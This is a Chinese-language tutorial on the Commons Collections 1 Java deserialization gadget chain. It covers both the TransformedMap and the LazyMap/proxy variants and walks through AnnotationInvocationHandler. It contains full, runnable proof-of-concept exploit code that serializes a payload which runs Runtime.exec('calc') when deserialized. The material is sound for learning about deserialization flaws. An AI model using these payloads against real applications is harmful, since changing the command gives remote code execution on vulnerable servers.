前言
上一节中,我们针对Commons Collections1
中可能遇到的类和方法进行了分析,接下来我们就正式对该利用链进行分析。
版本信息
java:JDK 8u66
CommonsCollections:3.2.1
攻击链分析
TransformedMap#checkSetValue
命令执行需要满足的条件
1.利用链中的类都需要能够序列化
2.入口可以接受任何类型的对象,执行readObject方法
我们在上一节课测试过InvokerTransformer
这个类,这个类里的transform
通过这个方法我们可以执行命令,所以在下来的分析中我们可以倒退判断出谁调用了这个方法,这里我们使用ctrl+F7或alt+ctrl+h可以查看哪里调用了这个方法
我们可以在调用列表中看到TransformedMap
中的checkSetValue
调用了transform
可以看到valueTransformer
调用了transform
方法,从声明中我们可以知道该值是Transformer
类型,且被protected
修饰,只能在本类和子类中调用
在TransformedMap
的构造函数中有对valueTransformer
的赋值操作
我们继续向上查找,看哪里调用了构造方法,我们可以看到decorate
这个方法的返回值中新建了一个TransformedMap
对象,导致调用了构造函数
接下来的还是重复之前的思路,看哪里调用了checkSetValue
方法以及vaule
是否可控
继续向上推我们就发现是MapEntry
类的setValue
方法调用了checkSetValue
,这个静态类实现了AbstractMapEntryDecorator
这个抽象类,而AbstractMapEntryDecorator
又实现了Map.Entry
且AbstractInputCheckedMapDecorator
又是TransformedMap
的父类,我们在前置课程中介绍过Map.Entry
表示Map中的一个实体(一个key-value键值对),
编写一个测试代码
public class InvokerTransformerTest {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
// 将键值对封装成对象并遍历
for (Map.Entry<Object, Object> entry : decorate.entrySet()) {
//循环的时候会自动调用目标迭代器的next方法
entry.setValue(runtime);
//这里我们调试的时候会看到,entry为AbstractInputCheckedMapDecorator$MapEntry的对象,是因为迭代器在循环的时候会自动执行next方法,而decorate是TransformedMap的对象,而TransformedMap没有entrySet方法,会执行其父类AbstractInputCheckedMapDecorator的entrySet方法,而其父类最终会返回一个EntrySet对象,接着开始调用EntrySet下的iterator迭代器方法,返回一个EntrySetIterator对象,然后又执行了EntrySetIterator对象的next方法,返回了一个MapEntry对象,最终导致调用setValue方法的就是MapEntry类
}
}
}
=====================下面这一部分可以先不看,分析了调用中的具体步骤=============
其中,我们通过decorate
设置传入了一个InvokerTransformer
对象,该对象就是被赋给TransformedMap
类中的valueTransformer
的值,for循环的时候会自动调用迭代器的next
方法(看前置学习中的代码),在next
方法中又新建了一个MapEntry
对象,而parent
是类型为TransformerMap
的对象
然后就跳转到MapEntry
类中的构造方法进行赋值,parent
的还是TransformerMap
的对象
最终我们通过entry调用setValue方法时,就会通过parent
调用了checkSetValue
方法,最终valueTransformer.transform()
导致调用了TransformedMap
下的transform
。而且setValue
是我们手动可控的runtime
对象,最终在transform
通过反射执行了命令。
===========================================================================
那我们接下来的任务就明确了,确定哪里调用了setValue
方法,这里我们可以优先找readObject
下调用的,最终我们在AnnotationInvocationHandler
类的 readObject()
方法发现了调用
我们查看AnnotationInvocationHandler
类的构造方法,经过分析该构造方法接收两个参数,第一个参数是继承了 Annotation
注解泛型(比如我们常见的@Override就是注解)的 Class
对象,第二个参数是是一个 Map
集合,其 key
为 String
类型、value
为 Object
类型。构造方法先获取 type
变量的父接口,然后判断 type
是否是接口类型且仅有一个父类接口,并且父类接口是 Annotation.class
,才会将两个参数初始化在成员变量 type
和 memberValues
中,第二个参数 Map
类型,该参数是我们可控的,但该构造方法也不是公共的,并且该类也是默认 deafult
修饰,只能本包中访问,所以只能通过反射来调用
我们再看其readObject
方法,这里我们首先注意到,memberValue.setValue
下的参数不是我们传递的,而我们之前测试setValue
方法的时候是直接传递Runtime
对象导致命令执行的,而且在执行这行代码之前有两个if判断,以及Runtime对象是无法序列化的。
目前为止,我们梳理一下需要解决的问题
1.Runtime 类是无法序列化的,他没有实现 Serializable 接口,只能通过反射进行调用
2.两个if的判断满足
3.setValue() 需要传 runtime 对象,但其实这里的 setValue() 传的是 new AnnotationTypeMismatchExceptionProxy
我们先解决第一个问题,虽然Runtime无法序列化,但是可以通过Rumtime.class
得到类的原型,这个是可以序列化的
Class r = Rumtime.class;
我们就可以通过Runtime.class
来进行命令执行,这里我们首先编写反射调用Rumtime执行命令的代码
Class c = Runtime.class;
//接着我们通过其getRuntime获取对象
Method getRuntimeMethod = c.getMethod("getRuntime",null);
//通过getRuntime方法获取对象,而getRuntime是一个静态方法,所以invoke第一个参数不需要传递对象
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
//获取exec方法
Method execMethod = c.getMethod("exec",String.class);
//执行命令
execMethod.invoke(r,"calc");
其中我们需要注意的是Rumtime的构造方法是私有的,我们可以直接通过getRuntime获取一个Runtime对象,Runtime代码如下
接着我们将其修改为InvokerTransformer
方式调用,我们先看一下其构造函数需要的参数如下
接着我们编写代码
//首先获取getMethod方法,第一个参数为方法名,第二个参数为参数的类型,第三个参数为参数值
Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//调用getRuntime 获取一个Runtime对象
Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//通过获取的Runtime对象来执行exec方法
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
经过我们的分析发现,一共调用了三次InvokerTransformer().transform()
,而每一次的返回结果都是下一次transform()
里的参数,这里我们用到了我们在前置学习内容中的ChainedTransformer
类,这个类可以完成链式调用,主要的功能就是将指定的转换器连接在一起的转化器实现。输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推,完全适用我们这个情形
那么我们就用代码形式将其实现
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//将我转换器数组传入
//这里我们只需传入第一个transform中的参数即可,后续的可以自动完成链式调用
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
这样第一个问题就被解决了,我们继续处理第二问题,两个if判断的处理,这里我们先编写代码进入到AnnotationInvocationHandler
的readObject
方法下的两个if判断的位置进行调试
这里我们需要注意的是AnnotationInvocationHandler
类采用default
进行修饰,且构造器也是default
进行修饰,作用域仅仅在这一个包下,所以我们需要使用反射方式进行调用
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class MyTransformerDemo {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//将我转换器数组传入
//这里我们只需传入第一个transform中的参数即可,后续的可以自动完成链式调用
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object,Object> map = new HashMap<>();
map.put("test","test");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
// transformedMap.put("test","test");
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlConstructor.setAccessible(true);
Object o = annotationInvocationHandlConstructor.newInstance(Override.class,transformedMap);
serialize(o);
unSerialize("src/com/alexsel/CC1/ser.ser");
}
// 序列化
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("src/com/alexsel/CC1/ser.ser"));
objectOutputStream.writeObject(obj);
objectOutputStream.flush();
objectOutputStream.close();
}
// 反序列化
public static Object unSerialize(String fileName) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(fileName));
Object obj = objectInputStream.readObject();
objectInputStream.close();
return obj;
}
}
这里我们完成了对AnnotationInvocationHandler
对象的创建,我们对代码进行调试的时候发现到第一个if判断时未通过的的,主要原因是memberValue的值为null
其中的memberValue
的值就是我们创建AnnotationInvocationHandler
对象时传递的第三个参数,一个Annotation
对象,这里我们的传值是Override.class
,在构造函数中我们可以看到其赋值操作
然后获取memberValues
中单个元素的key值,并通过该值获取memberTypes
中对应的值,我们if判断失败就是在这里,没有成功获取memberTypes
中对应的值,而memberTypes
的值和我们创建AnnotationInvocationHandler
对象传入的参数有关,我们可以看到memberTypes
的值是通过以下方式获取的
而memberTypes()
就是返回AnnotationType
对象中的memberTypes
成员变量的值
AnnotationType
对象是通过AnnotationType.getInstance
方法获取的对象,在这个函数中传递的type
就是Override.class
,最后再getInstance
中创建了AnnotationType
对象并将其中的type
赋值为Override.class
最后我们可以在AnnotationType
构造函数中得知,memberTypes
的key值包含有Override
所有声明过的方法
所以为了保证if判断的值为真,我们就需要传递的Annotation
对象包含成员方法,而我们这里传递的Override
中没有成员方法
但是Target
中是有成员方法的
所以我们在编写代码的时候将Override
替换为Target
,并将map
中的key
值替换为其成员方法的名称value
最后通过第一个if判断,我们继续看第二个if判断,这里可以直接进入,无需再做操作
接下来我们解决最后一个问题,在其经过两个if判断判断之后就会执行memberValue.setValue
操作,但是里面传递的参数不是我们可以控制的,但是我们可以通过ConstantTransformer
类来完成传递Runtime.class
的操作,我们可以先看一下其构造函数和transform,在其构造函数中将我们传递的constantToReturn
参数又在transform中返回了,刚好满足我们之前链式调用的条件
编写代码进行测试,这就是最终的利用代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws Exception {
System.out.println(Override.class.getDeclaredMethods().length);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//将我转换器数组传入
//这里我们只需传入第一个transform中的参数即可,后续的可以自动完成链式调用
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","test");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
// transformedMap.put("test","test");
System.out.println(transformedMap);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlConstructor.setAccessible(true);
Object o = annotationInvocationHandlConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unSerialize("src/com/alexsel/CC1/ser.ser");
}
// 序列化
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("src/com/alexsel/CC1/ser.ser"));
objectOutputStream.writeObject(obj);
objectOutputStream.flush();
objectOutputStream.close();
}
// 反序列化
public static Object unSerialize(String fileName) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(fileName));
Object obj = objectInputStream.readObject();
objectInputStream.close();
return obj;
}
}
执行结果,成功弹出计算器
这里我们在Transformer数组中有添加了ConstantTransformer
对象,是因为我们在AnnotationInvocationHandler->readObject
方法中执行的setValue
传递的参数不是我们可以控制的,而进入链式反应之后,ConstantTransformer
返回的对对象已经在构造函数规定了,所以无论在setValue
中传递什么类型的对象已经无所谓了,而是通过transform
返回我们最开始传入的Runtime.class
TransformedMap#checkSetValue调用逻辑分析
首先目标程序存在反序列化漏洞的情况,我们将payload传入目标程序,目标进行反序列化
1.触发AnnotationInvocationHandler->readObject()方法
- 1.readObject()方法中执行memberValue.setValue(),参数:AnnotationTypeMismatchExceptionProxy对象
2.MapEntry->setValue方法,其中parent为我们定义TransformedMap类型的键值对
- 1.调用parent.checkSetValue()方法,参数:AnnotationTypeMismatchExceptionProxy对象
3.TransformedMapcheckSetValue方法
- 执行valueTransformer.transform()方法,其中valueTransformer的值我们在之前的代码中TransformedMap.decorate已经赋值为chainedTransformer,通过它进行链式调用
- 4.进入ChainedTransformer->transform方法,这里循环进行链式调用,第一个循环的对象是我们创建的
ConstantTransformer
对象,无论传入什么都会返回我们最开始定义的Runtime.class
- 5.在链式调用中,从第二个开始,依次InvokerTransformer->transform方法,通过反射获取方法并返回执行结果,最终在最后一个链式调用时执行
calc
弹出计算器命令
ysoserial-LazyMap分析
首先我们看一下ysoserial中完成的利用链
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
继续分析需要Java动态代理的知识,我们在之前已经提前学习过相关内容,请看之前的文章。
InvocationHandler中的Object invoke(Object proxy, Method method, Object[] args)方法:调用代理类的任何方法,此方法都会执行
- 参数1:代理对象
- 参数2:当前执行的方法
- 参数3:当前执行的方法运行时传递过来的参数
- 返回值:当前方法执行的返回值
这里我们为了方便下面的应用,我们就是用P神的代码做一个例子
编写代理类
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
private Map map;
public ExampleInvocationHandler(Map map)
{
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if(method.getName().compareTo("get")==0){
System.out.println("Hook method: "+method.getName());
return "Hacked Object";
}
return method.invoke(this.map,args);
}
}
编写测试类
public class ExampleDemo {
public static void main(String[] args) {
ExampleInvocationHandler handler = new ExampleInvocationHandler(new HashMap());
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
System.out.println(proxyMap);
proxyMap.put("hello","world");
String result = (String)proxyMap.get("hello");
System.out.println(result);
}
}
通过该测试类我们知道,这行代码代理最终会走到handler
对象的invoke
方法中去
第一个put
方法没有返回结果,因为我们if
判断只接受函数名为get
才会进行输出
攻击链分析
在我们之前的调试中,我们已经在调用函数中见到过LazyMap
的身影,那么接下来我们就针对这条调用链展开分析
我们在InvokerTransformer
类中查找transform
的调用,我们可以看到LazyMap
类中的get
方法调用了transform
方法
我们进入LazyMap
类分析get
方法。首先是一个if
判断map
是否包含指定的键key,如果包含了指定key就会进入判断并执行factory.transform()
。这个函数的意思是当调用get(key)
的 key
不存在时,会走进该 if
中,根据注释来翻译,如果键当前不在 map
中,则为键创键值,存在则直接执行get方法。
并且这个这里两个关键的字段都是可以通过decorate
创建LzayMap
对象进行赋值的
根据目前分析的情况我们编写测试代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class LazyMapDemo {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String,String> map = new HashMap();
map.put("value","value");
Map outerMap = LazyMap.decorate(map,transformerChain);
outerMap.get("test");
}
}
接着我们继续分析利用链,接下来我们即可以继续向上追踪,这次我们查找的时候找到了一千多个调用,这里我们就直接找到目标类进行分析。我们在AnnotationInvocationHandler
类中的invoke
方法中,执行了memberValues.get(member)
代码
而这个invoke
方法如何调用?这个AnnotationInvocationHandler
是一个实现了InvocationHandler
的类,是一个动态代理类,这就涉及到我们之前说的动态代理的问题,当我们配置了动态代理之后,执行任何方法,最终都会通过invoke
来执行被代理类中的方法
接下来我们需要找到入口类readObject
,首先我们在AnnotationInvocationHandler
类的readObject
方法中找到了一个可以控制的成员变量memberValues
,我们在分析上一个利用链的是时候已经知道memberValues
可以通过构造函数进行赋值,而在这个函数中,memberValues
调用了entrySet
方法,
如果我们给memberValues
传入的是代理类的对象,那么就会执行invoke
方法,最终调用get
完成利用链。
利用代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
//import sun.reflect.annotation.
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class LazyMapDemo {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String,String> map = new HashMap();
map.put("value","value");
Map outerMap = LazyMap.decorate(map,transformerChain);
// outerMap.get("test");
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)annotationInvocationHandlConstructor.newInstance(Target.class,outerMap);
Map mapProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandlConstructor.newInstance(Target.class, mapProxy);
serialize(invocationHandler);
unSerialize("src/com/alexsel/CC1/ser2.ser");
}
// 序列化
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("src/com/alexsel/CC1/ser2.ser"));
objectOutputStream.writeObject(obj);
objectOutputStream.flush();
objectOutputStream.close();
}
// 反序列化
public static Object unSerialize(String fileName) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(fileName));
Object obj = objectInputStream.readObject();
objectInputStream.close();
return obj;
}
}
基本逻辑是这样的,我们采用倒推的方式,首先我们找到LazyMap
中的get
方法调用了InvokerTransformer
的transform
,而get
方法中有一个我们可以控制的变量,来调用其transform
,继续向上查找调用,在AnnotationInvocationHandler
中的invoke
方法中找到了调用LazyMap
的get
方法,AnnotationInvocationHandler
是一个代理类,我们可以通过创建代理对象的方式调用这里的invoke
方法,刚好在这里类中的readObject
方法中存在一个可控变量,其调用了entrySet
方法,如果我们在这个可控变量里传入一个经过代理的对象,被代理的对象是传入链式调用transformer
的LazyMap
对象,将其赋值给AnnotationInvocationHandler
的memberValues
变量来完成调用
版本升级问题
在8u71
以后,Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler
的readObject
函数,所以这条链子在高版本是无法利用的,如果想要在高版本利用那我们接下来就需要学习CC6
利用链